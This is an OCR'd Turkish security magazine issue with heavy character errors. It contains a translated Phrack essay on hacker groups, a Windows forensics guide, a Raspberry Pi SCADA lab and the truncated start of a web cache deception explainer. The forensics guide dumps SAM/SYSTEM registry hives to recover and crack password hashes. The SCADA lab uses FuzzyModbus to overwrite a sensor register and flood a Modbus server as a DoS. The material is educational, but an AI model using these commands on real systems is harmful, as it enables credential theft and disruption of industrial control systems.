Bilgisayar aglar1 sinirsiz ve sansiirsiiz bilginin cografi sinirla-
rina gittik¢e daha az gabayla, diisitk maliyetle ve neredeyse hi¢
zaman kaybetmeden iletilebilmesini sagladi. Iletisimin gelisi-

mi agisindan bakildiginda, 80’lerden giiniimiize kadar takip
eden olaylarin hacker topluluklarinin sayisinda geometrik
bir ilerlemeye yol agmasi bekleniyor olabilir. Aslinda hacking
tartismali bigimde biiyiidii lakin ayni1 seyi hacker topluluklar:
i¢in sOyleyemeyiz. Peki o zaman yanlis giden ne?

2 - Gunimuz:

Yaraticiligin sinirh oldugu giinlerde yastyoruz. Ustelik her ne
kadar celiskili gortinse de yaraticiligin gruplardan ya da takim-
lardan ¢ikmasi ozellikle nadir oldugu goriilityor. Bireylerden
ziyade topluluklarin entelektiiel olarak yaratma konusunda
daha giiglii olmalar1 gerekse de son giinlerde tekilin giiclin,
egonun ¢agini izler olduk. Tabii ki her zaman kit bir zevk olan
ozglinligiimiiz icin dikkatimizi ceken bir sey gordiigiimiizde.

Mark Fisher “Time Wars”da [1] post-fordizmin bizi katatonik
inovasyonda acziyete gotiirdiigiinii agikliyor. Caligmaya nere-
deyse obsesif diizeyde duydugumuz saplant: is saatleri olarak
sadece vaktimizi titketmiyor, bunun yani sira zihinlerimizi,
bizi yapabilecegimiz herhangi bagka bir her seyden uzaklasti-
rarak tiiketir. Bu dikkat dagilmalar1 o her yerde olan medyaya
kars1 sahip olunan bitmez tiikenmez baglantimizi da iceriyor
(Orn: e-posta geldi mi diye kontrol etmek ya da mobil cihaz-
lardan sosyal medyaya erigmek). Bunun yani sira, finansal
istikrar ve provizyon konusundaki artan endisenin yani sira,
refah hakkindaki artan endise hem hikiimetler hem de 6zel
sektor tarafindan her daim térpiilenebilir.

Kapitalist endiselerimizin, en politik olarak cesitli insanla-
rin arasinda bile, ilk basta goriinenden daha koklii oldugunu
belirtmemiz 6nemli. Kisinin kendini savunmasi kolay de-
gildir, bir bedeli vardir. Egitim gérmek, is bulmak, giincel
kalmak... Hedefleriniz ne olursa olsun, yapmakla miikellef
oldugunuz sey muhtemelen zaten ¢ok fazla geliyordur - ve
muhtemelen “kendi isine bak”ma olgusu gayet yaygindir.



Strauss strauss@phrack.org / Hacker Gruplarinin Gokisii ARKA KAPI

Distincelerimizde yaratilan huzursuzluk, entelektiiel daya-
nismay1 bireysel yaratimi etkiledigine kiyasla daha siddetli
sekillerde etkiler. Basitce soylemek gerekirse, eger bir kisinin
odagini bu “dikkat daginikliklarindan”, ilham verici bir iret-
kenlige dogru ¢ekmesi zaten ok zorsa, bir grubun gercek bir
kolektif bilingte yer almasini varin siz diigiiniin. Ortak bilince
sahip partileri birbirine baglayan baglar1 kurmak i¢in adan-
mushik gereklidir, ve sahip oldugumuz egoist kaygilarimiz bu
konuda hi¢ de yardimci olmaz (Not Aya bakiniz). Gergek bir
isin tamamlanmasi i¢in sadece adanmislik gerekmez. Ayni za-
manda ortak degerlerin ve hedeflerin belirlenmesi gerekir, ki
insanlar arasinda ger¢ek baglanmayi saglayan sey bunlardir.

Dikkatinizi ¢ekerim ki bu, isbirlikgiligi topluluk¢ulugu ilgi-
lendirdigi kadar ilgilendirmez. Igbirligi, kendi kendine yeten
bireysel katkilarla da artarak elde edilen yaratic1 siireci orta-
dan kaldirir. Oyle ki bu, yazilim projelerinde en ¢ok karsimiza
¢ikan durumdur. Cogu modern yazilim gelistirme siirecinde
oldugu iizere, roller minimal insan etkilesiminin olacag: se-
kilde ayristirilmistir. Gergek bir kolektif fikir [2], daha giiclii,
ahenk icinde ve biligsel bir bag olmadan var olamaz. Isin ko-
mik yani, “Anonymous” tarafindan kullanilan bir DDoS araci
olan LOIC’in popiiler tiirevlerinin bir “kolektif fikir” 6zelligi
igeriyor olmasidir (verilen bir IRC sunucusundan ve kanalin-
dan otomatik olarak hedef almak ve paketlerinizi bunlara ade-
ta ates etmek gibi). Keske bu kadar kolay olsayd.

“Toplu bilin¢” konsepti ilk kez Emile Durkheim’in 1983’te
yaymlanan “The Division of Labor in Society” kitabinda ge¢-
mektedir: R. Alun Jones tarafindan belirtildigi izere [3], *.top-
lumlar ne kadar ilkel olursa (6zellikle ilkel dinde de gosterildigi
gibi), onlari olusturan bireyler de o kadar fazla benzerlik gos-
termektedir; bunun tam tersine, insanlar medenilestikce onlar
birey olarak ayirt edebilmek daha da kolay olmaktadir’

Internet ve popiiler medyada ileri siiriildiigii iizere, ateizm ve
agnostisizmin benimsenmesi toplumlarin geleneksel olarak
birlesme noktasi olarak goérdiigii dinin aslinda daha az etkili
oldugu anlasiliyor. Hatta, modern insanda - 6zellikle asir1 ka-
labalik metropollerde (Not B’ye bakiniz) - gitgide biiyiiyen bir
benzersizlik arayis1 s6z konusudur. Bu bitmek bilmeyen ilging
ve seckin kisiliklerin arasinda kendimizi ve 6zglinligtimiizii
gostermek - parlamak istiyoruz. Bu, sonug olarak kime kars:
oldugu bilinmeyen bir bireysellesme ¢abast ile verilen anlam-
s1z bir savasa doniisityor. Cefakar insanogluna sarilmak yerine,
kendimizi ayirmay: ve boylece kayda deger olmay istiyoruz.

3 - Sonuc:

Modern yasam neredeyse kollektiflige karsi komplo kurar.
Sonsuz derecede giivensiz, sinirsiz bir yagamin giinlitk kaygi-
larinin yani sira amansiz bir bilgi akisi ile eziyet ediliyoruz.
Dahasi, benzer olma ve birgok goriisii ve fikri paylagsma dii-

stincesinden korkuyoruz. “Bizi anlamadiklar1” gerekgesiyle ki-
minle birlikte olmamiz gerektigine kars1 gittik¢e artarak yar-
gilayic1 oluyoruz. Yillardir yadsinamayacak kadar ¢ok éneme
sahip olan hackingdeki o hassas giiven olgusunu (ki bu olgu
basli bagina ayri1 bir makale konusu) isaret eder.

Eger hacker gruplari olusturma hakkindaki fikirlerimiz 6zet-
lenecek olursa, soyle diyebiliriz: Kimse bizim hissettigimiz
gibi hissetmiyor. Glivenilmezler ve onlara harcayacak vakti-
miz yok. Konforlu ve giivenli bir yagsam arayisimiza uyan tek
tutum kendimizi kendi sinirlamalarimizla kisitlamak, etrafi-
mizdaki zeki yasami goérmezden gelmek ve toplumumuzun
bos zamanimizi mahkum ettigi vasatliga teslim olmaktir.

4 - Tesekkiir:
Tesekkiirlerim bu yaziy1 okuyanlara ve diigiincelerini ortaya
koyanlaradir. Sabirsizlikla yorumlarimizi bekliyorum.

5 - Referanslar:

[1] “Time Wars”, Mark Fisher - http://www.gonzocircus.com/
xtrpgs/
incubate-special-exclusive-essay-time-wars-by-mark-fisher/

[2] “Collective Consciousness’, Wikipedia -
http://en.wikipedia.org/wiki/Collective consciousness

[3] Excerpt of “Emile Durkheim: An Introduction to Four
Major Works”, Robert Alun Jones -

http://durkheim.uchicago.edu/Summaries/dLhtml

6 - Notlar:

[A] Sosyal aglar baglaminda, 6ziinde gegerli bir topluluk olus-
turan mekanizma olsa da, ortak kullanimda bencillik galip ge-
lip yaygin sekilde kullanilma sekli kronik “tikaniklig1’, zaman
zaman rontgenciligi, bazen teshirciligi ve muhtachigi besleyen
hosgoriilii bir zevktir.

[B] Internetin kiiresellesen yoniiyle birlikte az yerlesim bu-
lunan yerlerde bile vatandaslarda {iziicii bir avamlik hissiyati
uyandirdig1 bir durum tartismali olarak s6z konusudur.

Yazinin ashina buradan ulasabilirsiniz: http://www.phrack.
org/issues/69/6.html#article

Ayrica dergimizin yag glinii etkinliginde Utku Sen tarafindan
ele alinan: Diinyada ve Tiirkiyede Hacker Kiiltiirii adli sunu-
mun (video) kaydina buradan ve dosyasina buradan ulagabi-
lirsiniz.

Video: https://bit.ly/2IPb800 Sunum: https://bit.ly/2kzBA47Z




Windows
Forensic

M erhaba degerli Arka Kap1 okuyuculari, Firat Universitesi - Adli Bilisim Mithendisligi grenimimden itibaren adli bi-

lisim ve siber giivenlik alanlarinda ¢alismalarimi yiiriitmekteyim. Yazmis oldugum bu makalede, “Windows Foren-
sic” konusundan bahsediyor olacagim. Daha ¢ok rehber niteliginde bir makale olacak ve makaleme giris yapmadan
once, makale icerisinde kullanmis oldugum baz: adli bilisim kavramlarindan bahsetmek istiyorum.

Adli bilisim: Dijital olarak elde edilen tiim delillerin, incelenebilir ve kabul goriilebilir bir gekilde farkli ortamlara aktarilmasi
ve ardindan bu delillerin bir plan ve sira dahilinde degerlendirilmesi, analiz edilmesi ve raporlandirilmasi siire¢lerinden olusan
bir bilim dalidir.

Imaj (Birebir Kopya): Depolanabilir 6zellige sahip her tiirlii aygitin, incelenmek iizere alinmis birebir kopyasidir. Yaygin olarak
EO01 (Encase tarafindan gelistirilmigtir. Imaj1 sikistirarak almaktadir.) ve DD (herhangi bir sikistirma islemi uygulamadan ham
veriyi alir.) formatlari kullanilmaktadir.

Hash: Tek yonlii 6zet fonksiyon olmakla birlikte, dosyalarin parmak izi gibidir. Dosyalarin degistirilip degistirilmediginin tes-
piti i¢in kullanilmaktadir.

1. FTK Imager Yazilimini Kullanarak imaj Alma islemi:

FTK Imager, Access Data firmasi tarafindan iiretilen ticretsiz bir yazilimdir. FTK Imager yazilimi bilgisayara kurularak calis-
tirilabildigi gibi Lite versiyonu ile tikla galistir olarak ta calistirilabilmektedir. Olay miidahale esnasinda imaj alirken Lite ver-
siyonunu kullanmanizi tavsiye ederim, hem bilgisayara herhangi bir kurulum gerceklestirmemis olursunuz hem de imaj alma
islemine bir an 6nce baslayabilmeniz i¢in size zaman kazandiracaktir. FTK Imager ile RAM ve depolama aygitlarinin imajini
alabilir, hash hesaplamasi ve dogrulamasi islemlerini gerceklestirebilirsiniz.




File > Create Disk Image secenegini segerek FTK Imager ile imaj alma islemini gerceklestirebilirsiniz.

m AccessData FTK Imager 3.3.0.5
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File > Add Evidence Item segenegini secerek imaj dosyasini FTK Imager igerisine aktarabilirsiniz.
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File > Verify Drive/Image secenegini secerek FTK Imager ile imaj dosyasinin hash dogrulamasini gergeklestirebilirsiniz.

Help

Fle View Mode
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| Evidence:File System|Path|File | Options

Properties | Hex Value Int CustumCunte...-

Hashes the selected drive or image and compares the results to stored verification hashes, if any [wum [ | 4

File > Verify Drive/Image secenegini secerek FTK Imager ile RAM imajini alma islemini gerceklestirebilirsiniz.

7, AccessData FTK Imager 2.1.1.8 W e e |
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Export Directory Listing...
Exit
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2. imaj Dosyasini Canlandirma islemi:

Mevcut bir imaj dosyasi, herhangi bir lisansli yazilima ihtiya¢ duymadan manuel olarak isletim sistemi seklinde canlandirila-
bilmektedir. Bu islem ile imaj dosyasini yazarsaniz korumali olarak canli bir bilgisayar: inceler gibi inceleyebilirsiniz. Bu iglemi
gerceklestirebilmek i¢in bilgisayarinizda VirtualBox isimli sanallagtirma yaziliminin kurulu olmasi yeterli.

Adim 1:
VirtualBox sanallagtirma yazilimi igerisinde yer alan VBoxManage araci kullanilarak, imaj dosyas1 “VBoxManage.exe con-
vertdd ImajDosyasi.raw YeniHali.vdi --format VDI” komutu kullanilarak *.vdi formatina doniistiiralir.

B C\Windows\System32\emd,exe - VBoxManage.exe convertdd ENS_20190304160559  ditto-file.raw E\S_20190304160559" ditto-file,vdi --format VDI B O x

itto-file.vdi --format VDI

Adim 2:
Elde edilen *.vdi dosyas: “VBoxManage.exe modifyhd --type immutable YeniHali.vdi” komutu kullanilarak sadece okunabi-
lir hale getirilir.

B C\Windows\Systern32\crd.exe o O 4

Adim 3:
Olugan *vdi dosyasi VirtualBox sanallastirma yazilimi igerisine aktarilarak canli olarak ¢alistirilir.

B egitimm [Galigryor] - Gracie VM VirtualBox - o x ‘

= = : G
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3. SAM ve SYSTEM Dosyalarini Kullanarak Kullanici Hesaplarinin ve Parola Bilgilerinin Elde

Edilmesi

“CA\WINDOWS\system32\config” dizini altinda yer alan SAM ve SYSTEM dosyalarini “C:\WINDOWS\system32\con-
fig >reg save hklm\sam C:\sam” ve “C:\WINDOWS\system32\config >reg save hklm\system C:\system” komutlarini kulla-
narak C: dizini altina kopyalayabilirsiniz.

SAM ve SYSTEM dosyalarini SAMInside yazilimi ile pars edebilirsiniz. Pars isleminin ardindan bilgisayarda yer alan kullanici
hesaplarini ve bu hesaplara ait NTLM ile sifrelenmis kullanici parolalarini elde edebilirsiniz. Elde edilen NTML hash degerine
karsilik gelen parolayi, rainbow tablolari ile karsilagtirma imkani sunan internet sitelerini kullanarak elde edebilirsiniz.

Ayrica, SYSTEM
dosyasin1  Regripper
isimli yazilim ile parse
ederek; bilgisayara ta-
kilan harici depolama
aygitlarinin bilgilerini
ve bilgisayarin almis
oldugu son IP adresi
bilgisi gibi bir¢ok ve-
riyi elde edebilirsiniz.
RegRipper, SAM,
SYSTEM, SOFT-
WARE ve NTUSER.
DAT dosyalarmi ay-
rigtirabilen  otomatik
bir Registry ayristiri-
cisidir.  Kayit  defteri
dosyalarinin igerigini
incelemek i¢in kulla-
nilmaktadir.
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4. ARTIFACT Dosyalarinin Analizi:

4.1. LNK Dosyast:

Adli bilisim incelemelerinde, kullanici tarafindan en son hangi uygulamalarin ¢alistirildigini, hangi dosyanin agildigini tespit
etmek icin kullanilmaktadir. Silinmis bir dosya, silinmeden 6nce goriintiilenmis ise bu dosyaya ait Ink dosyas! olusacagindan,
silinen dosya ile ilgili bilgiler elde edilebilmektedir. Yaklagik 2 KB boyutunda olan Ink dosyas: LinkParser yazilimi ile analiz
edildiginde; temsil ettigi dosyanin olusturulma tarihi, degistirilme tarihi, dosyanin konumu, olusturuldugu aygitin MAC adresi
gibi bircok veri elde edilebilmektedir.

LNK Dosyalarinin konumu isletim sistemine gore degisiklik gostermektedir.
o Windows XPde: C:\Documents and Settings\<username>\Recent\

o Windows Vista/7/10da: C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\

4.2. Thumbnail Dosyast:

o Kullanici tarafindan
goriintiilenen pencerelere,
resimlere ait 6nbellege
alinmus kiigiik resimlerin
tutuldugu veri tabani dos-
yasidir. Onbellege alinmis
kiigiik resimleri elde etmek
icin Thumbcache Viewer
yazilimi kullanilmaktadir.
Thumbnail dosyalary; C:\
Users\<username>\App-
Data\Local\Microsoft\
Windows\Explorer\ dizini
altinda bulunmaktadir.
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4.3. Recycle.bin Dosyasi:
Geri doniigiim kutusundan silmis oldugunuz dosyalarin bilgisinin tutuldugu dosyadir. Asagida belirtmis oldugum islem adim-

larini uygulayarak geri doniisiim kutusundan silinen dosyalari kurtarabilirsiniz.

Recyle.bin dosyasinin konumu igletim sistemine gore degisiklik gostermektedir.

» Windows XPde: C:\RECYCLE

» Windows Vista/7/10da: C:\$Recycle.bin
Adim 1:
Konsol ekranindan C:\$Recycle.bin konumuna gelerek wmic
useraccount get name,sid komutu ile bilgisayarda yer alan
kullanicilara ait bilgiler elde edilir.

Adim 2:

Elde edilen kullanici bilgileri igerisinden,
kullanmakta oldugunuz kullanicinin SID
dosyasina cd komutu ile giris yapabilir ve
daha sonrasinda da dir\a komutu ile dizin
icerisindeki dosyalar1 goriintiileyebilirsiniz.

Adim 3:
Tespit edilen dosyalar “copy *$I Kopyalana-
cak Adres” komutu ile disariya cikartilir.
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Adim 4:

Disariya ¢ikarilan dosyalar $I Parser yazilimi ile pars edilerek anlamli hale getirilir. Pars islemi sonrasinda; dosyalarin isimleri,
konumlar, silinme tarihleri gibi bir¢ok bilgi elde edilir.

Her zaman, mithendisligin/uzmanhgin herhangi bir sistemi manuel olarak lisansh yazilimlar kullanmadan incelenebilecegine
inandigimdan o6tiiri, elimden geldigince Adli Bilisim ve Siber Giivenlik alanlarinda elde etmis oldugum bilgi ve tecriibelerimi
bagkalarina aktarmaya ¢alismaktayim.

Bu makalede ele almis oldugum Windows Forensic konusu oldukga derin ve uzun bir husus oldugundan, siz degerli okurlara
fikir ve yol gosterici olmasi iimidiyle yalnizca bazi bolimlerinden bahsettim, umarim faydali olmustur.

Saygilarimla.

ro—— UYGULAMAL
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HACKING
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ve Hacking

00—
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* GNU/Linux Temallori * A Glvenligi
* Kriptoloji * WER/WPA/WPAZ Cracking
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- OWASP * Cracking
« Burp Suite + BadlisB
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Raspberry Pi ile
SCADA Simulasyonu

Acquisitiondir. Bahsi gecen kelimelerin ilk harfleri ile

olusturulan SCADAy1 Tiirkge'ye, “Merkezi Kontrol ve
Veri Toplama Sistemi” olarak gevirebiliriz. SCADA, kontrol ve
otomasyon diinyasinda otomasyon mimarisinin en tist katma-
nin1 olugturan ve operatdrlere sistem kullanici araytizii sagla-
yan 6nemli bir yazilimdir.

S CADA, Ingilizce agilimi, Supervisory Control And Data

SCADA sistemi ile tesisinizin kontrol odasinda adeta tesisi-
nizi modellemis olursunuz. SCADA yaziliminin ¢alistig1 ek-
ranlardan tesisinizin genel durumu, cihazlarin ariza, ¢alisma
durumlari, receteleriniz, verimlilik ve etkinlik analizleriniz
gibi pek ¢ok konuya operatérleriniz hakim olur. SCADA siste-
mini tek bir bilgisayarda kullanabileceginiz gibi bir VideoWall
sisteminden, mobil cihazinizdan veya tasinabilir bilgisayari-
nizdan da takip edebilirsiniz.

Giiniimiizde pek ¢ok ticari SCADA sistemi bulunmaktadir.
Ne yazik ki, cogunun maliyeti hayli fazla, konfigrasyonu-
nu yapmak zor ve bunlar1 yapilandiran miihendisin pek
¢ok bilgiye sahip olmasi gerekiyor. Ancak sanshyiz ki, agik
kaynak diisiincesine destek veren insanlar gelistirdikleri yazi-
limlar tiim diinya ile paylasiyorlar. Béylece bu tiir yazilimlari
ihtiyacimiz oldugunda kullanabiliyor ve bu yazilimlarin gelis-
mesine de katkida bulunabiliyoruz. Dahasi, teknik ilerlemeler,
nano teknolojinin gelismesi ve Cambridge arastirmacilarinin
gelistirdikleri Raspberry Pi sayesinde hayatimiz daha da ko-
laylasiyor. Avug i¢i boyutundaki bu bilgisayarlar sayesinde ya-
pacaklarimiz sadece hayallerimiz ile sinirli kaliyor.

Kendi SCADA sistemimizi nasil kurabiliriz?

Bir SCADA sistemi kurarken ihtiyaciniz olan temel eleman-
lar; donanim, yazilim ve HMI. Internetten arastirma yaptigi-
nizda pek ¢ok farkli amagla kullanilan SCADA sistemleri ve
bu sistemlerde kullanilan farkli ekipmanlar: géreceksiniz. Bu
yazimizda iki temel eleman {izerinden SCADA sistemimizi
olusturacagiz.

« Raspberry Pi ve
o Advanced HMI

Simdi sistemimizde kullanilacak tiim bilegenleri tek tek ince-
leyelim ve ardindan 6rnegimize gegelim.

Raspberry Pi

Bu kii¢iik canavari sanirim duymayan kalmamustir fakat yine
de tanitmak gerekirse; Raspberry Pi, pek ¢ok simiilasyon siste-
mini tasarlayabileceginiz, Python dilini desteklemesi, Python
kiitiiphanelerinin ¢esitliligi ve giicli olusu sayesinde, kolay,
ucuz ve kiigiik sistemler ortaya ¢ikarabileceginiz kiigiik bilgi-
sayardir. Ben bu sistemimde Raspberry Pi 3 Model B kullan-
dim.

Advanced HMI

Oncelikle, HMI'nin ne demek oldugu ve ne maksatla kullanil-
digina deginecek olursak; HMI (Human Machine Interface),
Insan Makine Arayiizii anlamina gelen bu sistem, “dokunma-
tik panel’, “operator panel” gibi isimler ile endiistriyel sistem-
lerin gozdesi olmustur. Advanced HMI ise .NET framework
tabanli ve Visual Basic ile yazilmis bir yazilimdir. Advanced
HMI, HMT'y1 ¢ok kolay bir sekilde olusturmaniza, hatta sade-
ce stiriikle birak yaparak bile arayiiz olusturabilmenize olanak
saglar. En biiyiik 6zelligi tamamen iicretsiz olmasidir. Ikin-
ci en 6nemli 6zelligi ise herhangi bir yazilim dili bilmenize
gerek kalmadan kolayca yapilandirip hizlica kullanmaya
baslayabilirsiniz. Ayrica, cesitli iletisim protokollerini de
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Allen Bradley, Beckhoft, Mod-
bus TCP / RTU, Omron ve
OPC. Son olarak bu yazilim
Windows isletim sistemi tize-
rine kolayca kurulmakta ve
sadece Microsoft Visual Studio
Expresse ihtiya¢ duymaktadir.
Dilerseniz bu linkten {icret-
siz bir sekilde ulasabilirsiniz:
http://bit.ly/2m4xSAs.

Modbus Server
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[letisim protokolii olarak bu sistemimizde Modbus TCP kullanacagiz ¢iinkii hem Advanced HMI yazilimimiz bu protokolii
destekliyor hem de Pymodbus kiitiiphanesi ile ¢ok kolay bir sekilde olusturulabilir . Pymodbus hakkinda tiim dokiimanlara bu

adresten ulagabilirsiniz: https://pymodbus.readthedocs.io/en/latest/.

WiringPi

WiringPi, Raspberry Pi tizerindeki GPIO pinlerini (GPIO portlari, mikrodenetleyici cihazlarin gevresel cihazlarla iletisim kur-
masi i¢in kullanilir.) kontrol etmenizi saglayan C dili ile yazilmis bir kiitiiphanedir. Gerekli bilgileri bu adreste bulabilirsiniz:
http://wiringpi.com/. Kurulum igin github linki buradadir: https://github.com/WiringPi/WiringPi-Python.

DHT11 sensorii

Fiyat1 ¢ok ucuz olan bu sensodr ile ortamin sicakligi ve nem kolayca 6lgiilebilmekte-
dir. DHT11 sensériiniin kiitiiphanesini bu adresten kurabilirsiniz: https://github.com/

adafruit/Adafruit Python DHT.

Gspread

Gspread, Google Drive diskiniz ile ile-
tisim kurmanizi saglayan bir APIdir.
Biz burada DHT11 sensériinden aldi-
gimiz sicaklik ve nem verilerini Drive
tizerinde uzak sunucuda depolayacagiz.
Asagida bir ekran goriintiisi (Google
Dokiimanlar) paylagiyorum. Gerekli ku-
rulum bilgisine bu adresten ulasabilirsiniz:

https://gspread.readthedocs.io/en/latest/.
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DHT11 sensoriinden alinan veriler HMI ekranina hem dijital panel iizerine hem de grafik olarak yaziliyor. Burada GPIO1
kismi buton 1’ basildiginda, GPIO2 kismui ise buton 2’ye basildiginda aktif oluyor. GPIO3 devre iizerindeki Led’i ve GPIO4 ise
roleyi kontrol ederek ampulii yakmamizi sagliyor. Sistemin calisip calismadigini da baglanti durumundan gorebiliyoruz. Proje
kodlarina bu adresten ulasabilirsiniz: https://github.com/wmenesw/SCADA-server.
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Modbus Protokoliiniin Fuzz Edilmesi

Simdi ortama biraz hareket katalim! Modbus protokolii yapist geregi fuzz edilmeye (fuzzing: rastgele veri gonderme islemi)
cok elverisli bir protokoldiir. Bu iletisim protokoliin yapisina iliskin daha detayl bilgiye bu adresten ulagabilirsiniz: http://www.

simplymodbus.ca/TCPhtm.

Bu hacking islemi igin Ismail Mert Ay Ak hocanin Github deposunda agik kaynak olarak paylastigr “ModbusTCP Fuzzing ve
DoS” aracini kullanarak yapacagiz. Araci bu adresten indirebilirsiniz: https://github.com/imertayak/FuzzyModbus.

# ./FuzzyModbus.py -h

Biznet FuzzyModbus v0.3
ModbusTCP Fuzzing Tool by m3rt Github: @imertayak

or --help Help Menu
or --func-code <Code> Modbus Function Code
or --flood OPTIONAL Modbus Flood/DoS Attack
or --target <IP_Addr= Target Modbus Server IP Address
or --port <Port> DEFAULT=502 Target Modbus Server Port
u or id <UID> DEFAULT=1 Unit ID
or dress <Reg_ Addr= DEFAULT=0 First Register Address
c or --count <Count> DEFAULT=1 Count of Registers to read/write
i or --input <value= DEFAULT_BIT=0/DEFAULT_REG=666 Input Value to write

Supported Function Codes:
Read Coils Func. Code
Read Discrete Inputs @
Read Holding Registes
Read Input Registers
Write Single Coil
Write Single Register
Write Multiple Coils
Write Multiple Registers

[k olarak Kali Linux kurulu makineme bu araci kuruyorum ve sirasiyla asagidaki parametreleri kullanarak fuzzing islemini
yapiyorum.

L. ] # ./FuzzyModbus.py -t 192.168.1.11 -f 3 -c 10
I Fun[tlon Code 3 Read Holding Registers executed !!
[64, 20.=597<0 "3 3, 3, 3, 3 _3]
: # 11

' 1 ’

Degisiklik yapacagimiz register adresimizi bulmamiz gerekiyor. Bunun igin -f 3 parametresiyle holding register’lar1 ve -c 10
parametresi ile kag tane register adresi okuyacagimizi belirtiyoruz. Degerleri 6nceden bildigim i¢in 29’un sicaklig1 ve 62’nin de
nemi gosterdigini biliyorum.

# /FuzzyModbus py -t lQ2 168.1.11 -f 6 -a 1 -i 99 -F
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Ikinci olarak ise -f 6 parametresiyle register’a yazma islemi gerceklestirecegiz. Burada -a parametresi ile register adresini belir-
tiyor, -i parametresi ile yazmak istedigimiz degeri ve -F parametresi ile ise siirekli paket gondererek DOS saldiris1 yapiyoruz.

Ekrana simdi tekrar bakalim:

2 AdvencedMii RP| Modbus TP = o ®

_ADVANCED [H[MIl

GO Konkmd

0000 =%

Resimde de goriildigii gibi sicaklik degerini degistirmis olduk. Peki bu degisiklik EKS (Endiistriyel Kontrol Sistemleri) yapi-
larinda kurumlara ne gibi zararlar verebilir? Kisaca soyle aciklayabiliriz: Genellikle, HMI ekranini bir operator kontrol eder
ve fiziksel yapidan farkli bir odadan yonetir. Bu nedenle operator, HMI ekranin da gordiigti degerlere gore reaksiyon gosterir.
EKS yapilarinda IT sektériindeki gibi islemler hizli gerceklesmemektedir. Ornegin; IT yapisinda database sunucusu ¢okerse
yaklasik bir saat icinde ayaga kaldirilabilir ancak bir niikleer tesisi ele alirsak reaktorler anormal derecede asir1 1sinirsa sistemin
durdurulmas: ve tekrar aktif edilmesi i¢in yaklagik on iki saat ge¢mesi gerekmektedir. Hatta baz1 sistemlerde haftalar ve aylar
stirebilir. Yukaridaki gibi bir saldir1 ile sistem gegici olarak durdurulur ve iiretim aksar. Bu da kuruma maddi olarak ciddi za-
rarlar verebilir.

KAYNAKCA
https://www.hmi.com.tr/10-scada-sistemi-nedir-2-blog-detay

https://sourceforge.net/projects/advancedhmi/
https://pymodbus.readthedocs.io/en/latest/

http:/wiringpi.com
https://github.com/WiringPi/WiringPi-Python

https://github.com/adafruit/Adafruit Python DHT
https://gspread.readthedocs.io/en/latest/

https://github.com/wmenesw/SCADA-server

https://jacekhryniewicz.wixsite.com/website/scada-raspberry-pi--advanced-hmi--gsp

http://www.simplymodbus.ca/TCPhtm
https://github.com/imertayak/FuzzyModbus
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Web Onbellegini

Aldatma

o
I ngilizce’si web cache deception ve Tiirkge karsilig1 web on-

bellek aldatmas: olan bu yeni web saldir1 vektort, yaklasik

iki sene once giivenlik aragtirmacis1 Omer Gil tarafindan
ayrintilar1 ile beraber BlackHat USA 2017'deki konusmasinda
yayimlandi. BlackHat, 1997 yilindan bu yana tiim diinyadan
bilgi ve bilisim giivenligi uzmanlarinin, hacker’larin, istihbarat
elemanlarinin akin ettigi diinyaca iinlii bir konferanstir.

Peki nedir bu Web Cache Deception?

Web Cache Deception saldirilar adindan da anlagilacag tize-
re onbellek kullanan web uygulamalar: {izerinde bulunan bir
zafiyettir.

Web uygulamalarinda genellikle sunucuda gegen siireyi ki-
saltmak veya gecikmeleri azaltmak i¢in arka planda bir proxy,
CDN veya farkli servisler kullanilir. Iste bu noktada, cache
mekanizmasi1 dogru bir sekilde kurulmadiysa, bu zafiyet or-
taya cikiyor ve web uygulamasinda bulunan bilgiler kolayca
sizdirilabiliyor. Zafiyetimizin igerigine girmeden énce bazi te-
rimlere agiklik getirelim ve en 6nemlisi web uygulamalarinda
kullanilan énbellekleri iyi anlayalim.

Oncelikle CDN, Ingilizce Content Delivery Network’iin ki-
saltmasidir ve Tirkgesi “igerik dagitim ag1” olarak bilinir.
CDN, terim anlamu1 olarak, bir web sitesine ait statik icerik-
lerin (siirekli degismeyen ve ¢ogunlukla veri tabani baglantili
olmayan igerikler) ziyaretciye en yakin CDN sunucusundan
verilerek, web sitesinin daha hizli agilmasini saglamaya yara-
yan, icerik dagitim sunucularindan olusan bir agdir. Bir CDN
hizmeti almaya basladiginiz zaman, CDN agi sitenizden statik
igerikleri kendi sunucularina kopyalar ve ziyaretcilere bu ice-
rigi kendi sunucularindan iletir. Boylece, kullaniciya en yakin
lokasyondan ulasan statik icerik, kullaniciya daha hizli iletil-
mis olur. Statik igeriklerin ¢ogunlukla, resim, ses ve video ige-
rikler oldugu distinildiigiinde (en ¢ok yer kaplayan icerikler
bu igeriklerdir) web sitesinin a¢ilma hizinda kayda deger bir
artisin gozlenmesi olasidir.

Cache (Onbellek) Nedir?

Onbellek igin genel bir tanim yapmak gerekirse, bir uygula-
may1 ilk agtigimizda devreye giren ve sonraki erisimlerimizde
daha hizli agilmas: i¢in kullanilan bir bilesendir, diyebiliriz.
Verileri bir donanim veya yazilim bileseni olarak depolaya-
bilir. {lk erisimde verileri kopyaladigi/hesapladig1 igin sonra-
kilerde bu veriler, gelecekteki isteklerin daha hizli bir sekilde
yerine getirilmesini saglar. Bir onbellekte depolanan veriler
daha onceki bir hesaplamanin sonucu veya baska bir yerde
depolanan verilerin bir kopyast olabilir.

Bilgisayar bilimlerindeki tiim onbellekleme bi¢imleri, ister
CPU o6nbellegi, ister HTTP web sunucusu 6nbellegi isterse de
veritabani onbellegi talep edilenler i¢in yanit siirelerini hizlan-
dirmay1 amaglar. Bunu yapmak, aktif olarak onbellege alinan
bilesen tizerindeki yiikii miimkiin oldugunca azaltmaya yar-
dimci olur.

Bu ilke nedeniyle ve bu konumuz igin, dnbellek; istemci (web
tarayicisi, mobil uygulama, vb.) ve sunucu arasinda olmast
egilimindedir.

Time User Website
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Agm ekosisteminde, kullanilan 6nbellek tiirleri degisebilir.
Bazi 6rnekler sunlari igerir ancak bunlarla da sinirli degildir:
e Memcached
e Varnish
o CDNs (i.e. Akamai, MaxCDN, AWS)
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Web o6nbelleklemesinin gorevi ise, istemci ta-
rafindan yapilan ag isteklerinin gelmesini bek-
lemek ve daha sonra bu istekler sonucunda,
sunucudan donen yanitlarin kopyalarini kaydet-
mektir. Bu kopyalar, Web sayfalar1 (HTML bel-
geleri), resimler, JavaScript dosyalar1 veya diger
dosya tiirleri olabilir.

Web
Caching
Proxy

Response

Web Cache Deception’t Anlamak:

Diyelim ki, bir web sayfasina giris yaptiniz ve adres gubugu example.com/home.php seklinde ve bu web sayfasi arka
planda 6nbellekleme yapiyor. Siz bu adresin sonuna web sayfasinda bulunmayan, 6rnegin /logo.png gibi bir uzanti eklerseniz
